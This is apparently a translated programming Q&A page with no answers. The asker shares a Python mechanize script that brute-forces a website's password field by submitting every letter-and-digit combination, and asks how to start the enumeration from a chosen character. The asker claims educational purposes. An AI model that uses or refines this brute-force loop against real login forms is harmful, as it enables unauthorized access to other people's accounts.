如何从特定的字母/数字启动itertools组合以将其应用于HTML表单?

时间:2016-04-09 19:19:38

标签: python mechanize

注意:

首先,我这样做只是为了教育目的,我不是想用这个来伤害任何人或者摧毁任何东西。

我有这样的代码:

start = 1
end = 2
for length in range(start, end+1):
    for c in itertools.combinations_with_replacement(string.ascii_letters + string.digits, length):

这将打印从A到Z的每个大写/小写字母,并且在所有字母完成后,它将开始打印从0到9的所有数字。所以它看起来像这样:abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789

完成第一个循环后,它继续第二个循环并执行相同的操作。像这样:

第一个周期开始:a

第二个周期开始:aa

等等。

这是我该怎么做的:

def loop1():
    br.open("somewebsite")
    start = 1
    end = 2
    for length in range(start, end+1):
        for c in itertools.combinations_with_replacement(string.ascii_letters + string.digits, length):
            br.select_form(nr=4)  
            br.set_all_readonly(False)
            br.form['password'] = ''.join(c)
            print "Testing",br.form['someform'] 
            br.method = "POST"
            response = br.submit()
            if response.geturl()=="somewebsiteredirect":
                print "Test is ",''.join(x)
                break

这将填写表格,每个大写/小写字母和数字范围为2,当网站重定向到主页脚本时,将打印哪个组合有效。 (同样:我将其用于教育目的

我想要它做什么:

我想从特定字母或数字开始组合。

像这样:

组合1:

第一个周期开始:b

第二个周期开始:ba

如果不可能,那就这样:

组合2:

第一个周期开始:b

第二个周期开始:bb

那么可以使用Itertool从特定的字母/数字开始组合,并使用Mechanize将其输出放在HTML表单中吗?

0 个答案:

没有答案